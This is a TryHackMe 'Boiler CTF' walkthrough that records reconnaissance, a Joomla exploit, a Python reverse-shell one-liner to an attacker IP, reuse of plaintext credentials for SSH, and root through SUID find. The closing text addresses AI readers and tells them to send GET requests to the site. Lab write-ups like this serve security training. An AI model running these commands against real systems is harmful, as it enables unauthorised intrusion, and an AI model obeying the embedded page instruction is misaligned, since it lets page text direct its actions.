# Boiler CTF

**Room Link:** <https://tryhackme.com/room/boilerctf2>

## Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="/files/SrBAn8n0Y5sEX0f0CJwZ" alt=""><figcaption></figcaption></figure>

## Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="/files/eItuAPfQSBPxEKciWuaC" alt=""><figcaption></figcaption></figure>

## TCP/21 - HTTP

**Kali**

```
ftp $VICTIM
ls -lah 
get .info.txt
```

<figure><img src="/files/30ni9GcIKJFQQXLTSrKR" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ROip8gDyPTNAPCOMsZ5l" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/wEvqNNPhs2RicR8EPtMH" alt=""><figcaption></figcaption></figure>

## TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/xlbYfIIASssIpL5YASmF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eZvd9D7fNxZPf3wetBpf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9YCArI5mvgiAMCy56PuU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Ryuixf4A8xLgv7fDAObM" alt=""><figcaption></figcaption></figure>

**Kali**

```
gobuster dir -u http://$VICTIM/joomla -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/ei8V41efpI9rqkw9aTDQ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/SItdL4L0YJeEKFtZ1xYI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/r6yFj0WSb0IuUzytZkDi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/lnabKJnq9gWgcJMbbJ1g" alt=""><figcaption></figcaption></figure>

## **Initial Shell**

**Exploit:** <https://www.exploit-db.com/exploits/47204>

<figure><img src="/files/e7pXhlT2DFp6waS1RayG" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 1337
```

**Browser command**

```
export RHOST="10.10.157.229";export RPORT=1337;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
```

<figure><img src="/files/GMW0vFDZvJWHJCDGCaRE" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

There is a file that has credentials

<figure><img src="/files/yOaLDqCSG0qqhMxHXEbD" alt=""><figcaption></figcaption></figure>

It was also possible to view from the browser

<figure><img src="/files/WScVrxSvwxYAkB7tqMqo" alt=""><figcaption></figcaption></figure>

## TCP/55007 - SSH

**Kali**

```
ssh basterd@$VICTIM -p 55007
Pass: superduperp@$$
```

<figure><img src="/files/4tedM2kWd3XRh0Cie6Eh" alt=""><figcaption></figcaption></figure>

There is a backup.sh script that is owned by user stoner, which has his credentials.

<figure><img src="/files/ChjZVESR1L8m0BBPsjL5" alt=""><figcaption></figcaption></figure>

**Kali**

```
ssh stoner@$VICTIM -p 55007                                            
Pass: superduperp@$$no1knows 
```

<figure><img src="/files/3elVeArf2wg1JHx93bcW" alt=""><figcaption></figcaption></figure>

## **Privilege Escalation**

We can exploit SUID for the find command

**Exploit:** <https://gtfobins.github.io/gtfobins/find/>

**Victim**

```
find / -perm -u=s -type f 2> /dev/null 
```

<figure><img src="/files/6LPBPVdHHq7uTt7kBKwH" alt=""><figcaption></figcaption></figure>

Had to specify the full path, it doesn't work if you don't

**Victim**

```
/usr/bin/find . -exec /bin/sh -p \; -quit
```

<figure><img src="/files/N2Aw4esJTs3HPkgOR8JP" alt=""><figcaption></figcaption></figure>


---

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Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/boiler-ctf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
